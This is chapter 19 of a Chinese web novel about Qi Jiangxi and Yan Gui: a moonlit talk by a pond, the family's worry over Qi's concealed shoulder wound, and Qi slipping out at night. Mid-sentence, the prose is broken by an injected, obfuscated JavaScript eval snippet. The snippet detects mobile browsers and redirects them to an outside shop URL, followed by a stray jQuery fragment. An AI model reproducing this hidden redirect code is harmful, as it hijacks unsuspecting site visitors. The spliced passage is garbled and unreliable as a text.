19. 真实的你
作品:《假质子娇藏指南》 “这样便好了。”
戚将息接过晏归晏归手中的两只小船,蹲在池塘旁边放了出去,随着水波摇晃慢慢向前飘去。两个人视线一路随着小船直到消失在残荷的边缘。
“兄长写了什么?”晏归忍不住好奇问道。
戚将息维持着半蹲的姿势,听到晏归的问题也没有扭头只是淡淡的盯着池塘里若隐若现的红色思考,“你说这小鱼会不会把我们的小船吞了?”
“我想大抵会,毕竟他愚笨。”
戚将息笑了笑。
晏归眼神一动,两个人这会有些距离,他看不清戚将息脸上有没有什么表情,晏归抓着车轮试图往前滑动,可惜这木轮椅有些笨重,他试了两下并没有成功。
戚将息观察到旁边动静,起身接过把手将晏归掉了方向,椅子上坐着的人好奇的仰头看着他,戚将息脖颈微动,低着脑袋垂眼和晏归对视上,又快速收回视线。
他推着晏归开始往回走。
“仰着脑袋不嫌累?”
许是被晏归一动不动长时间盯着,有些不自在,戚将息挑眉问道。
晏归立马规规矩矩的坐了回去,摇了摇头,“只是不明白,兄长为什么不愿意回答我?”
“愿望说出来就不灵了,不如埋在心里,说出来的怎么能算是愿望。”戚将息无奈道,他不再继续和晏归掰扯这个话题,又往前走开几步才开口:“一直没问过你,今后有何打算,还想回南梁去吗,你可还有什么亲人?”
晏归沉思起来,戚将息自然也不急,推着他慢悠悠的在石砖上走过,月光将两人的影子拉的很长。
“我不甘心。”
听到晏归的回答,戚将息的视线不动声色落在了他的背影上。
“我会回去,会站到我爹的面前然后告诉他,我如今活的有多好。再次遇见袁朗后我总是想着会不会,有没有可能我爹他——”
晏归忽然噤了声。
戚将息也停下了步伐,认真听那孩子说话。
“我会想,他会不会并不是想杀我,会不会是受人逼迫?或者有什么不得已的理由?”
“所以我必须好好活着,还要活的比谁都好,若是他就是想要我命,我更要让他知道,我不是他能轻易拿捏的人。我……我要习武还有通晓朝堂政事。”
要成为你的后盾,要有能力完成你的愿望,无论,它是什么。
戚将息安静听着,等晏归说完停下来看向他的时候,他才开口道。
“我在边塞的时候喜欢看月亮。”戚将息仰头看向院中的圆月,同时示意晏归向天上看,“无论他以什么姿态出现,又或是被阴厚的黑云遮挡,月光总是存在的。”
晏归看向戚将息,看着他认真的描绘这轮月,看他被月光笼着的泛着柔光的面容。
“你也同样,想做什么便尽全力去做,想成为什么样的人,都取决于这里。”
戚将息半蹲下身,与晏归平视,他点了点心口。
“兄长早已然是了啊。”
晏归不由呢喃着。
戚将息却笑了,眼里却是晏归从未见过的难言的情绪。
像哀伤。
“我呢,是个月光照不到的人。”
·
“混账东西!他想走便走想来便来,眼中哪有我这个——”
齐正山卡壳了,冷哼一声挥袖坐在了圆凳上。
“父亲您真是想多了,远儿有多懂事孝顺您又不是不知,为何每次见到他还要摆出不待见他的样子。”
齐述颇为头疼,自家父亲明明向来疼爱小辈,回回到了戚将息这儿,到了全家最懂事的孩子这就不行了。
“我不待见他?他眼里根本没有我这个外祖父。”齐正山终于说出了这句,像是气极了,猛猛拿起茶杯一仰而尽。
秦皇后坐在齐述身边先给丈夫顺了顺气,又给老父亲添上茶,才缓声说道:“父亲既然在乎远儿,关心远儿,就要让他知道的,那孩子心里有疙瘩有苦楚,自然只能冷着脸淡着性子来保护自己了。”
秦皇后与皇帝对视一眼,抓起帕子擦起泪来,“可怜那孩子,这些年一个人在外,孤身一人风里来雨里去的,就连受伤了也不敢给家里人说,生怕咱们担心他。”
“这次肩膀被捅了那么大一个血窟窿,硬是咬着牙一声不吭,若非林太医是陛下的人,可能我们现在都不知道……”
齐正山听到这,立马抬起了头,拧着眉问道:“受伤了?伤得重吗?”
“那库房里放了那么多名贵的金创药,还有消疤的一并拿去给他啊,林晁呢?叫林晁来见我!”
齐述连忙安抚道:“叫他仔细检查过了,没有伤及筋骨,好好养上一段日子就好了,男孩嘛皮实受点伤没事的,父亲也别过于担心了。”
齐正山不放心,起身便要离开。
“外祖!你干啥去!”
戚宁刚和表姐疯玩回来,见齐正山怒气冲冲的往外走,连忙跟上。
“宁儿我问你,你兄长那身体怎么回事?”
戚宁只愣了片刻,立马回头和皇帝夫妇对上眼,连忙抽着鼻子摆出一副要啜泣的样子。
“呜呜,兄长伤还没呢外祖就说他,说我兄长干什么,呜呜呜兄长太可怜了。”
齐正山长叹了一声,看上去沧桑了不少,齐述连忙上前搀扶着他,将他父亲带进了屋子。
齐正山坐在榻上,沉默良久才开口。
“我是气他,我气他一声不吭就往边境跑,气他不把这里当家,他心里的话跟你们谁说过?我提了一嘴让他改了姓认祖归宗,正儿八经的回家。他倒好,一走就是五六年。”
齐述慢慢开口,“父亲您知道的,他心里过不去那个坎,既然觉得自己随时会走,那自然不愿入朝不愿与人有牵挂。暖着他的心,护着他,时间久了,他也舍不得离开我们了。”
齐正山无奈的摇了摇头。
“和你姐姐一样,都是个心狠的。若是我的婳儿还在,定然会把这小子带的开朗一些。”
·
月光无法照耀之人……
晏归躺在床上翻来覆去,脑海里盘旋着戚将息这句话。
只是那会戚将息反
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550273|202849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应极快,晏归甚至没来得及弄清楚戚将息为何如此说,便被他岔开话了。
戚将息只道自己是开玩笑,逗晏归玩。
真是谜题团团。
戚宁有郡主的身份,戚将息虽无官阶,但是吃穿用度都是极品可以和皇宫媲美。高杉不说,就连二皇子齐越对他的态度都是极好的。
陛下亲封监军,一人监察军队,监察天下,这几乎是无上权利!
可是……
兄长一点都不在乎这些。
今天晚上那令人心惊的,充满哀伤的眼神。
晏归心里烦躁极了,他拉起被子紧紧蒙住自己脑袋,整个人蜷在黑暗里,他就是想不通!
初见时戚将息冷如冰霜,由着超越同龄人的成熟与严肃,但是相处起来就会发现这人一点都不冷,更像太阳,也会逗小孩也会打趣也会开玩笑,尤其这几日身边没有旁人的时候,戚将息几乎截然不同。
自从越州回来,许是因为完全把晏归当自己人了,戚将息很少端出在外边严肃冷淡的样子。
还有,那日那个医生奇奇怪怪的,虽然并没有说什么,只是,晏归敏锐的察觉到了这两人之间应该有所隐藏。
戚将息还知道很多南梁的事情,即使有信息情报网,但是像一些细枝末节的东西,连他这个土生土长的上京人似乎都比不得戚将息清楚。
晏归在脑海里开始搜索有关“戚”姓的相关信息。
可是上京城,没有听过有哪户人家姓戚啊,似乎也没有听过戚将息这一名号。
他娘亲常年呆在上京,外祖在江南更是离这里十万八千里,他既然说娘亲曾经帮过他,那戚将息必然是来过上京的。
晏归在被子里郁闷极了,他知道自己的一切,自己除去姓名,居然一丁点都不了解戚将息。
好想弄懂戚将息,好想知道有关他的一切。
晏归一把掀开开被子,坐起身来趴在窗户上,出神的向窗外看去。
嗯?
晏归揉了揉眼睛,探起身子仔细看。
书房的烛灯居然亮着!
可是这会早已半夜三更了,距戚将息送他回来都有段时间了,是忘记关灯了吗?还是他压根还没睡。
离得还是太远了。晏归卯足了劲也只能看见隐隐约约的亮光,看不清那窗户后面是不是有人醒着。
晏归心里种下疑惑的种子,心想这几日他定然会仔细观察这书房的。
那烛火突然灭了,紧接着窗户被人从里面打开了!
不是贼吧。
晏归一惊,瞬间往后躲了躲,动作太大,碰到脚踝,疼得顿时呲牙咧嘴,他屏住呼吸仔细去观察外边的情况。
果真是戚将息。
他脱去那身墨青色衣袍,换了身黑色长袍,头发披散开来,很利落的翻过窗户,手里似乎还提着什么东西。
晏归眯了眯眼睛。
还是看不清!晏归有些恼了。
戚将息踩着窗沿,施展轻功瞬间就一跃而起,从屋顶消失了。
大半夜的,戚将息到底瞒着众人要去哪?

